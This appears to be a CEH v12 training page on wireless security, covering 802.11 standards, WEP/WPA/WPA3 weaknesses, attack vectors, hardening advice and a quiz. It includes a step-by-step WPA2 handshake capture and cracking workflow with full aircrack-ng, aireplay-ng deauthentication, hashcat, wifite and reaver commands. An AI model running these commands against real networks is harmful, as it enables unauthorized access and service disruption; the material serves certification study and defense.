Wireless Security & Attack Vectors

CEH v12 Chapter 16 - Comprehensive Reference Lab

Master the fundamentals of wireless security, from 802.11 standards to advanced attack techniques. This lab covers WiFi encryption protocols, authentication methods, and practical exploitation tools used in professional penetration testing.

ETHICAL USE ONLY

Legal Notice: The techniques and tools described in this lab are for authorized penetration testing and educational purposes only. Unauthorized access to wireless networks is illegal under the Computer Fraud and Abuse Act (CFAA) and similar laws worldwide.

You must have explicit written permission before testing any wireless network you do not own. Violation of these laws can result in severe criminal penalties including imprisonment and substantial fines.

Practice responsibly: Use isolated test environments, your own equipment, or authorized lab setups only.

WiFi Fundamentals

802.11 Standards Evolution

Standard	Year	Frequency	Max Speed	Range (Indoor)	Status
802.11a	1999	5 GHz	54 Mbps	~35 meters	Legacy
802.11b	1999	2.4 GHz	11 Mbps	~50 meters	Legacy
802.11g	2003	2.4 GHz	54 Mbps	~50 meters	Common
802.11n (WiFi 4)	2009	2.4/5 GHz	600 Mbps	~70 meters	Active
802.11ac (WiFi 5)	2014	5 GHz	3.5 Gbps	~50 meters	Active
802.11ax (WiFi 6)	2019	2.4/5 GHz	9.6 Gbps	~50 meters	Current

Frequency Bands & Channels

2.4 GHz Band (2.400 - 2.4835 GHz):

Channels: 14 channels (1-14), but only 1-11 in USA
Non-overlapping channels: 1, 6, 11 (recommended to avoid interference)
Range: Better penetration through walls, longer range
Interference: High (microwaves, Bluetooth, cordless phones, baby monitors)
Attack surface: More crowded, easier to target due to prevalence

5 GHz Band (5.150 - 5.825 GHz):

Channels: 24+ non-overlapping channels (36, 40, 44, 48, 149, 153, 157, 161, 165)
Range: Shorter range, less wall penetration
Interference: Much less congestion
Speed: Higher data rates, more bandwidth
Attack surface: Less crowded, but still vulnerable

SSID (Service Set Identifier)

Broadcast SSID: Network name visible in WiFi scans
Hidden SSID: Network name not broadcast (security through obscurity - ineffective)
ESSID: Extended SSID for multiple APs in same network
BSSID: MAC address of the access point (unique identifier)
Security note: Hidden SSIDs are revealed when clients connect (probe requests)

Authentication & Encryption Methods

Security Protocol Comparison

Protocol	Encryption	Key Size	Authentication	Security Status	Crack Time
Open	None	N/A	None	VULNERABLE	Immediate
WEP	RC4	64/128-bit	Pre-shared key	BROKEN	< 1 minute
WPA (TKIP)	RC4 + TKIP	128-bit	PSK or 802.1X	DEPRECATED	Hours to days
WPA2 (AES)	AES-CCMP	128-bit	PSK or 802.1X	VULNERABLE*	Depends on password
WPA3 (SAE)	AES-GCMP	128/192-bit	SAE (Dragonfly)	SECURE	Resistant to offline

* WPA2 vulnerable to KRACK attack and weak passwords

1. Open Authentication

No encryption or authentication required. Anyone can connect. All traffic visible in plaintext. Risk: Man-in-the-middle attacks, eavesdropping, data interception.

2. WEP (Wired Equivalent Privacy) - DEPRECATED

Encryption: RC4 stream cipher
Vulnerabilities: Weak IV (Initialization Vector), IV reuse, weak CRC-32 integrity
Attack method: Collect IVs, statistical analysis, PTW attack
Tools: aircrack-ng can crack WEP in under 60 seconds with enough packets
Status: Completely broken, never use in production

3. WPA/WPA2-Personal (PSK - Pre-Shared Key)

WPA: Uses TKIP (Temporal Key Integrity Protocol) + RC4
WPA2: Uses AES-CCMP (much stronger)
4-Way Handshake: Authentication process that can be captured and cracked offline
Vulnerability: Weak passwords susceptible to dictionary/brute force attacks
PSK derivation: PBKDF2(SSID, password, 4096 iterations) = 256-bit PMK
Attack vector: Capture handshake → offline password cracking

4. WPA/WPA2-Enterprise (802.1X)

Authentication: RADIUS server with EAP (Extensible Authentication Protocol)
EAP Methods: EAP-TLS, EAP-TTLS, PEAP, EAP-FAST
Certificates: Can use digital certificates for authentication
Unique keys: Each user gets unique encryption keys
Advantages: Centralized management, user-based authentication, key rotation
Attack vector: Rogue RADIUS server, certificate validation bypasses

5. WPA3 (SAE - Simultaneous Authentication of Equals)

Dragonfly handshake: Replaces 4-way handshake with SAE
Forward secrecy: Past sessions can't be decrypted even if password compromised
Protection: Resistant to offline dictionary attacks
192-bit mode: WPA3-Enterprise offers optional 192-bit security
Management frame protection: Mandatory (prevents deauth attacks)
Opportunistic Wireless Encryption (OWE): Encryption on open networks

Wireless Attack Vectors

Rogue Access Point / Evil Twin

Attacker creates fake AP with same or similar SSID to legitimate network. Users unknowingly connect, allowing traffic interception.

Tools: hostapd, airbase-ng, WiFi Pineapple

CRITICAL

Deauthentication Attack

Send spoofed deauth frames to disconnect clients from AP. Forces reconnection to capture handshake or redirect to evil twin.

Tools: aireplay-ng, mdk4, scapy

HIGH

WPA Handshake Capture

Capture 4-way handshake during client authentication. Allows offline password cracking with dictionary or brute force.

Tools: airodump-ng, Wireshark, tcpdump

CRITICAL

Password Cracking

Offline attack on captured handshake using wordlists or brute force. Success depends on password complexity.

Tools: aircrack-ng, hashcat, John the Ripper

CRITICAL

KRACK Attack

Key Reinstallation Attack exploits WPA2 4-way handshake. Forces nonce reuse, allowing packet replay and decryption.

CVE: CVE-2017-13077 to CVE-2017-13088

CRITICAL

Karma Attack

Responds to client probe requests for previously connected networks. Device automatically connects to rogue AP.

Tools: MANA toolkit, WiFi Pineapple

HIGH

Packet Sniffing

Monitor mode capture of wireless traffic. On open networks or with key, all traffic visible including credentials and sensitive data.

Tools: Wireshark, tcpdump, Kismet

MEDIUM

Channel Hopping / Jamming

Denial of service by flooding channels with noise or deauth frames. Disrupts wireless communications.

Tools: mdk4, aireplay-ng, RF jammers

HIGH

WPS PIN Attack

WiFi Protected Setup PIN is only 8 digits. Brute force attack can recover WPA/WPA2 password in hours.

Tools: Reaver, Bully, Pixie Dust attack

CRITICAL

WPA2 Handshake Capture Attack Flow

Enable Monitor Mode

Put wireless adapter into monitor mode to capture all wireless traffic

airmon-ng start wlan0

↓

Discover Target Networks

Scan for available wireless networks and identify target AP

airodump-ng wlan0mon

↓

Target Specific AP & Capture

Lock onto target channel and BSSID, save capture to file

airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w capture wlan0mon

↓

Force Client Deauthentication

Send deauth packets to force client reconnection and capture handshake

aireplay-ng -0 5 -a XX:XX:XX:XX:XX:XX -c YY:YY:YY:YY:YY:YY wlan0mon

↓

Crack Captured Handshake

Use dictionary attack or brute force on captured handshake

aircrack-ng -w rockyou.txt -b XX:XX:XX:XX:XX:XX capture-01.cap

Wireless Hacking Tool Reference

Aircrack-ng Suite (Most Common)

# 1. Enable monitor mode
airmon-ng start wlan0

# 2. Check for interfering processes (optional)
airmon-ng check kill

# 3. Scan for networks
airodump-ng wlan0mon

# 4. Capture on specific channel and BSSID
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# 5. Deauthenticate client (in new terminal)
# -0 = deauth attack, 5 = number of deauth packets
# -a = AP BSSID, -c = client MAC
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

# 6. Crack the captured handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

# 7. Stop monitor mode when done
airmon-ng stop wlan0mon

Wifite (Automated Attack Tool)

# Automated WPA/WPA2 attack with dictionary
wifite --wpa --dict /usr/share/wordlists/rockyou.txt

# Attack specific target
wifite --bssid AA:BB:CC:DD:EE:FF --wpa

# Attack WPS-enabled networks
wifite --wps

# Increase verbosity and skip already cracked
wifite -v --skip-crack

Hashcat (GPU-Accelerated Cracking)

# Convert .cap to hashcat format (hc22000)
hcxpcapngtool -o capture.hc22000 capture-01.cap

# Crack WPA2 handshake with hashcat
# -m 22000 = WPA-PBKDF2-PMKID+EAPOL mode
hashcat -m 22000 -a 0 capture.hc22000 rockyou.txt

# Brute force attack (all combinations)
hashcat -m 22000 -a 3 capture.hc22000 ?d?d?d?d?d?d?d?d

# Show cracked passwords
hashcat -m 22000 capture.hc22000 --show

Reaver (WPS Attack)

# Attack WPS PIN (8-digit brute force)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

# Use Pixie Dust attack (faster if vulnerable)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K -vv

# Add delay between attempts (avoid detection)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -d 5 -vv

Kismet (Wireless Network Detector)

# Start Kismet (opens web interface on localhost:2501)
kismet

# Run in background with specific interface
kismet -c wlan0

# Kismet can detect hidden SSIDs, clients, and WPS enabled APs

Wireshark (Packet Analysis)

# Capture WiFi traffic
wireshark

# Filter for EAPOL handshake packets
eapol

# Filter for deauthentication frames
wlan.fc.type_subtype == 0x0c

# Filter for beacon frames
wlan.fc.type_subtype == 0x08

# Command line packet capture
tcpdump -i wlan0mon -w capture.pcap

Interactive Command Builder

Build Your Aircrack-ng Command

Attack Type:

Select options above to generate command...

Wireless Security Defenses

Recommended Security Practices

✓ Use WPA3 When Available

WPA3 provides forward secrecy and protection against offline dictionary attacks. Mandatory management frame protection prevents deauth attacks.

SAE (Simultaneous Authentication of Equals) replaces PSK
192-bit mode available for enterprise (WPA3-Enterprise)
Opportunistic Wireless Encryption (OWE) for open networks
Protected Management Frames (PMF) mandatory

✓ Strong Pre-Shared Keys (PSK)

If using WPA2-PSK, ensure password is resistant to dictionary attacks.

Minimum 20 characters (ideally 25+)
Use random combination: uppercase, lowercase, numbers, symbols
Avoid dictionary words, names, dates, common patterns
Change default admin passwords immediately
Use passphrase: "Correct-Horse-Battery-Staple-7392!"

✓ 802.1X Enterprise Authentication

Deploy RADIUS-based authentication for centralized control and per-user encryption keys.

Each user has unique credentials
Certificate-based authentication (EAP-TLS) most secure
Centralized user management and auditing
Dynamic key rotation
Can integrate with Active Directory or LDAP

✓ Wireless Intrusion Detection (WIDS)

Deploy monitoring systems to detect rogue APs, evil twins, and attacks.

Detect rogue access points on network
Alert on deauthentication floods
Identify evil twin attacks
Monitor for unusual traffic patterns
Tools: Cisco ISE, Aruba ClearPass, Kismet

Defense Measures: Effectiveness Analysis

Defense Measure	Effectiveness	Implementation Cost	Notes
MAC Address Filtering	LOW	Free	Easily bypassed by MAC spoofing. Security through obscurity.
Hidden SSID	LOW	Free	SSID revealed in probe requests. Provides no real security.
Strong WPA2 Password	MEDIUM-HIGH	Free	20+ random characters resistant to cracking. Still vulnerable to KRACK.
WPA3 SAE	HIGH	Free (hardware support)	Best for home/SOHO. Requires WPA3-capable devices.
802.1X Enterprise	VERY HIGH	Medium (RADIUS server)	Best for enterprise. Requires infrastructure and management.
Disable WPS	CRITICAL	Free	WPS PIN easily brute forced. Always disable in production.
Guest Network Isolation	HIGH	Free	Separate guest traffic from internal network. Reduces attack surface.
Wireless IDS/IPS	HIGH	High (enterprise)	Detects attacks in real-time. Automated response possible.

Additional Hardening Steps

Disable WPS/QSS: WPS PIN can be brute forced in hours
Enable Protected Management Frames (PMF/802.11w): Prevents deauth attacks
Reduce transmission power: Limit range to minimize exposure
Segment networks: Use VLANs to isolate wireless from critical systems
Regular firmware updates: Patch known vulnerabilities promptly
Disable remote administration: Prevent internet-based attacks on router
Change default SSID: Don't advertise router model/manufacturer
Enable logging: Monitor for suspicious activity and failed auth attempts
Physical security: Secure APs to prevent tampering or replacement
VPN over WiFi: Encrypt all traffic even on compromised networks

Wireless Security & Attack Vectors

ETHICAL USE ONLY

WiFi Fundamentals

802.11 Standards Evolution

Frequency Bands & Channels

SSID (Service Set Identifier)

Authentication & Encryption Methods

Security Protocol Comparison

1. Open Authentication

2. WEP (Wired Equivalent Privacy) - DEPRECATED

3. WPA/WPA2-Personal (PSK - Pre-Shared Key)

4. WPA/WPA2-Enterprise (802.1X)

5. WPA3 (SAE - Simultaneous Authentication of Equals)

Wireless Attack Vectors

Rogue Access Point / Evil Twin

Deauthentication Attack

WPA Handshake Capture

Password Cracking

KRACK Attack

Karma Attack

Packet Sniffing

Channel Hopping / Jamming

WPS PIN Attack

WPA2 Handshake Capture Attack Flow

Enable Monitor Mode

Discover Target Networks

Target Specific AP & Capture

Force Client Deauthentication

Crack Captured Handshake

Wireless Hacking Tool Reference

Aircrack-ng Suite (Most Common)

Wifite (Automated Attack Tool)

Hashcat (GPU-Accelerated Cracking)

Reaver (WPS Attack)

Kismet (Wireless Network Detector)

Wireshark (Packet Analysis)

Interactive Command Builder

Build Your Aircrack-ng Command

Wireless Security Defenses

Recommended Security Practices

✓ Use WPA3 When Available

✓ Strong Pre-Shared Keys (PSK)

✓ 802.1X Enterprise Authentication

✓ Wireless Intrusion Detection (WIDS)

Defense Measures: Effectiveness Analysis

Additional Hardening Steps

Knowledge Assessment Quiz

1. Which WiFi security protocol is vulnerable to offline dictionary attacks when using weak passwords?

2. What is the primary purpose of a deauthentication attack in wireless hacking?

3. How many non-overlapping channels are available in the 2.4 GHz WiFi band (USA)?

4. What vulnerability does the KRACK attack exploit?

5. Which tool is specifically designed for automated WPS PIN attacks?

6. What does SAE stand for in WPA3?

7. Why is MAC address filtering considered an ineffective security measure?

8. What is the recommended minimum length for a WPA2-PSK password?

9. What does the "-0" flag represent in the aireplay-ng command?

10. Which authentication method provides the strongest security for enterprise WiFi networks?